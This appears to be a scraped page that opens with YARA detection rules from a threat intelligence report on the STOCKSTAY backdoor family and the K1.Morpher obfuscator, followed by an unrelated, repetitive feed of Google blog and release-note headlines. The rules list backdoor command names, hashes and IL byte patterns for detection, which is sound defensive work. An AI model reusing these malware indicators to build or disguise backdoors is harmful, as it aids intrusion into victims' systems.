        description = "Detects STOCKSTAY.STOCKMARKET controller based on method and field names, and SQL queries"
        hash = "2af7b513c05e76d7da5f75bb0a223c894a706c99ef2c2ddfe4eae542f95a08e0"

    strings:
        $f1 = "ProtocolMessageConnect"
        $f2 = "ProtocolMessageEnd"
        $f3 = "ProtocolMessagePing"
        $f4 = "ProtocolMessageRequestRecv"
        $f5 = "ProtocolMessageRequestSend"
        $f6 = "ProtocolMessageTask"
        $f7 = "ProtocolMessageTaskSysinfo"
        $f8 = "TMR_AppInit_Tick"
        $f9 = "TMR_Engine_Tick"
        $f10 = "TMR_KeepAlive_Tick"
        $f11 = "TMR_PingNet_Tick"
        $f12 = "TMR_PingSystem_Tick"
        $f13 = "GetDataTrade"
        $f14 = "GetDataNews"
        $f15 = "InsertDataTrade"
        $f16 = "InsertDataNews"
        $sql1 = "CREATE TABLE IF NOT EXISTS News (" wide
        $sql2 = "CREATE TABLE IF NOT EXISTS Trade (" wide
        $sql3 = "CREATE TABLE IF NOT EXISTS Market (" wide
        $sql4 = "INSERT INTO Market ( Guid, Version, Config, Status, Launch, Type ) VALUES (@Guid, @Version, @Config, @Status, @Launch, @Type)" wide
        $sql5 = "INSERT INTO News (Container) VALUES (@Container)" wide
        $sql6 = "INSERT INTO Trade (Container) VALUES (@Container)" wide

    condition:
        8 of ($f*)
        and any of ($sql*)
}

rule G_Tunneler_STOCKSTAY_STOCKBROKER_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKBROKER tunneler based on known IPC message handler and variable names."
        hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"

    strings:
        $s1 = "_CorExeMain"
        $s2 = "ProtocolMessageStatusConnection"
        $s3 = "ProtocolMessageResult"
        $s4 = "ProtocolMessageEnd"
        $s5 = "OnGetDataFromServer"
        $s6 = "webSocket"
        $s7 = "wmCopyData"
        $s8 = "tempStorage"

    condition:
        all of them
}

rule G_Backdoor_STOCKSTAY_STOCKTRADER_3 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKTRADER backdoor based on known command handlers and FNV1a hashes."
        hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"

    strings:
        $cmd_1 = "AppDel"
        $cmd_3 = "AppDeleteRegistryValue"
        $cmd_4 = "AppDir"
        $cmd_5 = "AppGet"
        $cmd_6 = "AppMkdir"
        $cmd_7 = "AppPut"
        $cmd_8 = "AppReadRegistryValue"
        $cmd_9 = "AppRegistryKeyExists"
        $cmd_10 = "AppRmdir"
        $cmd_11 = "AppRun"
        $cmd_12 = "AppWriteRegistryValue"
        $cmd_13 = "AppUnpackArchive"
        $cmd_14 = "ArchiveFiles"
        $cmd_15 = "GetFiles"
        $cmd_16 = "Sysinfo"
        
        $hash_1  = {ea8e5e34}
        $hash_2  = {3445694e}
        $hash_3  = {f73e97b6}
        $hash_4  = {9aa70c59}
        $hash_5  = {18b496c9}
        $hash_6  = {0f716ebc}
        $hash_7  = {8e2d79ce}
        $hash_8  = {3ae2a963}
        $hash_9  = {35d26840}
        $hash_10 = {6c41d6bc}
        $hash_11 = {1fdbbb2f}
        $hash_12 = {6ae6578d}
        $hash_13 = {66732be7}
        $hash_14 = {0b113b3d}

    condition:
        uint16(0) == 0x5a4d
        and (
            12 of ($cmd*)
            or 10 of ($hash*)
        )
}

rule G_Hunting_K1MORPHER_1 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects plaintext class and method names associated with the .NET class K1.Morpher"
    hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"

  strings:
    $plain_api_1 = "Squirrel3"
    $plain_api_2 = "DecryptArraySimple"
    $plain_api_3 = "DecryptIntSimple"
    $plain_api_4 = "DecryptLongSimple"
    $plain_api_5 = "DecryptFloatSimple"
    $plain_api_6 = "DecryptStringSimple"
    $plain_api_7 = "DecryptDoubleSimple"
    $plain_api_8 = "_squ_ui1"
    $plain_api_9 = "_squ_ui2"
    $plain_api_10 = "_squ_ui3"
    $plain_api_11 = "InjectedSeedCipher"

  condition:
    dotnet.is_dotnet
    and 5 of ($plain_api*)
}

rule G_Hunting_K1MORPHER_2 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects the Squirrel3 RNG implemented within K1.Morpher"
    hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"

  strings:
    $squirrel3_code_1 = {
      00 // nop
      03 // ldarg.1
      0A // stloc.0
      06 // ldloc.0
      7E ??????04 // ldsfld <token>
      5A // mul
      0A // stloc.0
      06 // ldloc.0
      02 // ldarg.0
      58 // add
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      0A // stloc.0
      06 // ldloc.0
      7E ??????04 // ldsfld <token>
      58 // add
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      62 // shl
      61 // xor
      0A // stloc.0
      06 // ldloc.9
      7E ??????04 // ldsfld <token>
      5A // mul
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      0A // stloc.0
      06 // ldloc.0
      0B // stloc.1
      2B 00 // br.s 40
      07 // ldloc.1
      2A // ret
    }

  condition:
    dotnet.is_dotnet
    and all of them
}

rule G_Hunting_K1MORPHER_3 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects the Squirrel3 RNG implemented within K1.Morpher"
    hash = "391e51354118fb87dc57650cbbd94258c3f7c0a0d6868040b7a473ad626ff25e"

  strings:
    $squirrel3_code_1 = {
      03 // ldarg.1
      7E??????04 // ldsfld <token>
      5A // mul
      02 // ldarg.0
      58 // add
      25 // dup
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      7E??????04 // ldsfld <token>
      58 // add
      25 // dup
      1E // ldc.i4.8
      62 // shl
      61 // xor
      7E??????04 // ldsfld <token>
      5A // mul
      25 // dup
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      2A // ret
    }

  condition:
    dotnet.is_dotnet
    and all of them
}

Acknowledgements

This analysis would not have been possible without the assistance of Gabby Roncone for technical review. We also appreciate GitHub for their collaboration against this threat.

Rekordowe zainteresowanie narzędziami AI. Umiejętności Jutra: AI: aż 94% absolwentów zamierza korzystać z AI w pracy

2026-06-25T14:00:00+00:00

Pełna sala absolwentów Umiejętności Jutra AI

100 new ways to make your day easier with Gemini for Home voice assistant

2026-06-25T13:00:00+00:00

A woman holds plates. A Google Nest is on her table.

100 new ways to make your day easier with Gemini for Home voice assistant

2026-06-25T13:00:00+00:00

A woman holds plates. A Google Nest is on her table.

Google Play updates let U.K. developers do more and pay less.

2026-06-25T11:00:00+00:00

We’re pleased to share that the UK will be one of the first markets to benefit from updates to Google Play’s business model, bringing lower fees and more choice to devel…

Google Play updates let U.K. developers do more and pay less.

2026-06-25T11:00:00+00:00

We’re pleased to share that the UK will be one of the first markets to benefit from updates to Google Play’s business model, bringing lower fees and more choice to devel…

Optimizing cloud economics with linear elastic caching

2026-06-25T10:03:00+00:00

Algorithms & Theory

Optimizing cloud economics with linear elastic caching

2026-06-25T10:03:00+00:00

Algorithms & Theory

Read our white paper on a pragmatic approach to AI governance in America.

2026-06-25T09:00:00+00:00

The debate over AI governance is stuck in a false choice between over-regulation and no regulation. There is a middle way: A pragmatic, evidence-based approach that reco…

Supporting students with connected AI tools for more personalized learning

2026-06-25T09:00:00+00:00

A digital graphic collage on a clean white background with faint grey grid lines. In the center foreground sits a large, Google Gemini logo in vibrant red, blue, green, and

Supporting students with connected AI tools for more personalized learning

2026-06-25T09:00:00+00:00

A digital graphic collage on a clean white background with faint grey grid lines. In the center foreground sits a large, Google Gemini logo in vibrant red, blue, green, and

Read our white paper on a pragmatic approach to AI governance in America.

2026-06-25T09:00:00+00:00

The debate over AI governance is stuck in a false choice between over-regulation and no regulation. There is a middle way: A pragmatic, evidence-based approach that reco…

Cloud Release Notes — June 25, 2026

2026-06-25T07:00:00+00:00

BigQuery

Change

An updated version of the Simba ODBC driver for BigQuery is now available.

Oracle Database@Google Cloud

Feature

You can view the details of your GoldenGate deployments, connections, and related assignments through Google Cloud console. For more information, see Manage deployments, Manage connections, and Manage assignments.

This feature is Generally Available (GA).

Stricter classifications for Google Groups to enhance data security and privacy

2026-06-24T21:22:05+00:00

Earlier this year, we announced changes to Google Groups to enhance data security and privacy. The changes, which are rolling out now, include:

Stricter “internal” and “external” classifications for Groups
Clearer visual indicators for whether a group contains external members
Changes to how emails are shown within Google Groups
Additional settings granularity to control who can add external users (admins only, or admins and end users)
Changes to how admins can add external users via Groups APIs

API changes

While we originally announced that admins would have to change the classification of a group before being able to add external members to Groups marked as internal, we’re updating that behavior to prevent issues with synced groups. When an admin attempts to add an external member to an internal group via the Cloud Identity or Admin SDK Directory API, or when they sync data from a third-party identity provider via API, the group settings will be automatically updated to allow admins to add external members.

Getting started

Admins: To ensure a smooth transition, existing groups will be automatically classified based on their current membership, so there will not be any changes in access. You can review and adjust these labels directly in the Admin console or via the Groups Settings API to match your organization's security needs.
End users: There is no action required for end users.

Rollout pace

Rapid Release and Scheduled Release domains: Rolling out now, with expected completion by July 1, 2026

Availability

Available to all Google Workspace customers

Resources

Google Workspace Admin Help: Changes to internal and external classifications in Google Groups

Stricter classifications for Google Groups to enhance data security and privacy

2026-06-24T21:22:05+00:00

Earlier this year, we announced changes to Google Groups to enhance data security and privacy. The changes, which are rolling out now, include:

Stricter “internal” and “external” classifications for Groups
Clearer visual indicators for whether a group contains external members
Changes to how emails are shown within Google Groups
Additional settings granularity to control who can add external users (admins only, or admins and end users)
Changes to how admins can add external users via Groups APIs

API changes

Getting started

Admins: To ensure a smooth transition, existing groups will be automatically classified based on their current membership, so there will not be any changes in access. You can review and adjust these labels directly in the Admin console or via the Groups Settings API to match your organization's security needs.
End users: There is no action required for end users.

Rollout pace

Rapid Release and Scheduled Release domains: Rolling out now, with expected completion by July 1, 2026

Availability

Available to all Google Workspace customers

Resources

Google Workspace Admin Help: Changes to internal and external classifications in Google Groups

Updates to Gemini in Google Classroom

2026-06-24T20:48:48+00:00

Mobile availability

We know educators and students use Google Classroom on the go on their mobile devices, so we are excited to announce that the Gemini tab is now available in the Classroom Android and iOS apps, making these features more accessible to teachers and higher education students. For educators, the following features are available in the Classroom mobile app: Generate a quiz, Brainstorm project ideas, Craft a compelling hook, Tackle common misconceptions, and starter prompts for the Gemini app. All Gemini starter prompts and personal class notebooks in the student Gemini tab are available in the Classroom mobile app.

Tools to generate visual resources

Powered by Nano Banana 2, Google’s newest image generation model, these starter prompts help teachers create visuals that illustrate complex topics for students:

Create an infographic
Draw a comic strip
Visualize a concept

Teachers can also personalize three new starter prompts to generate a slide deck for a given concept and grade level using Gemini’s Canvas tool:

Create a presentation
Create an interactive activity
Convert a file to Google slides

Getting started

Admins: As an administrator of your organization's Google Accounts, you can control who is allowed to use Gemini in Google Classroom to generate content and resources. These capabilities are only available to users who are verified as teachers and as 18 years of age or older in your institution’s age-based access settings. Visit the Help Center to learn about managing access to Gemini in Classroom and the option to turn the service on or off for users in your Admin console.
End users: Navigate to the Gemini tab in the navigation bar in Google Classroom. When using generated content, you should always review the outputs as AI can make mistakes and refine the output so that it fits your context and local policies before assigning to students. Visit the Help Center to learn more about Gemini in Classroom, and check out these resources for teachers, including this resource with tips and best practices for trying Gemini in Classroom.

Rollout pace

Rapid Release and Scheduled Release domains: Available now

Availability

Education: Education Fundamentals, Standard, and Plus

Resources

Google Workspace Admin Help: Manage access to Gemini in Classroom
Google Classroom Help: Learn about Gemini in Classroom

Google Blogs

13 Google tips for a fun, productive summer off from college

Redesigned Google Classroom homepage with tailored views based on user’s role

Getting started

Rollout pace

Availability

Resources

A centralized hub for meeting resources on the new Google Meet homepage

Getting started

Rollout pace

Availability

Resources

Supercharging pgvector: 4x faster HNSW vector search with AlloyDB

First, what is the AlloyDB columnar engine?

Performance visualization

How it works: Columnar engine Accelerated HNSW

Why it Matters

Quick Start Guide

Now in preview: Find and fix software vulnerabilities with CodeMender

Watch this overview of CodeMender in Gemini Enterprise Agent Platform.

Find and fix vulnerabilities with AI

How the CodeMender agent works

Scan: Find hidden vulnerabilities with flexible model scanning

Verify: Simulate and verify exploits to reduce noise

Remediate: Automatically generate and test code fixes

CodeMender in AI Threat Defense

How to get started with CodeMender

Introducing Gemini 3.6 Flash, 3.5 Flash-Lite, and 3.5 Flash Cyber

We’re announcing the Alliance for America’s Skilled Trades.

Build intelligent Android apps: On-device inference

On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notesHigh quality tailored summarization of short texts

Local processing for sensitive user input

Multimodal input

Conclusion

Learn more

Build intelligent Android apps: Introduction to Jetpacker

Jetpacker: a demo travel app

On-device intelligence

Cloud & hybrid inference

System integration

In-app agentic workflows (coming soon!)

Learn more

Build intelligent Android apps: Integrate into Android's intelligence system using AppFunctions

Designing AI-ready features: making choices that matter for your users

Android MCP powered by AppFunctions

How we accelerated development with Android skills

Providing app features to the intelligence system

Configuration and dependency setup

Modeling custom data types

Providing features using the @AppFunction annotation

The service entry point and Hilt integration

Testing and verifying your AppFunctions

Wrapping it up

Learn more

Build intelligent Android apps: Cloud and hybrid inference

Use LLM grounding for up-to-date informationMuseum assistant chatbot with LLM grounding

Hybrid inference: On-device review generation with Maps deep link

Custom hybrid routing: Hotel support chat translation with simulated personas

Securing the AI Pipelines: Firebase App Check

Conclusion

Learn more

Michaels Unveils ‘Ask Mike’ AI Assistant, Built With Google Cloud’s Gemini Enterprise for Customer Experience

Generosity Under Conditions: Hardening Google Cloud Access Management

Use Case 1: Constraining the Power of Admins

Use Case 2: Control over MCP Server Access

And Even More

Conclusion and More Resources

Cloud Release Notes — July 21, 2026

Binary Authorization

Feature

5 ways to build a side hustle with Gemini

Unifying Structured and Unstructured Data Insights with BQ Search Innovations

Simplify Pipelines with Autonomous Embedding Generation (GA)

Natural Language Search at Scale with AI.SEARCH (GA)

Unifying Keyword and Vector with Hybrid Search (Public Preview)

Building an End-to-End Unstructured Data Analytics Platform

Import and create combo charts in Google Sheets

Getting started

Rollout pace

Availability

On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes

High quality tailored summarization of short texts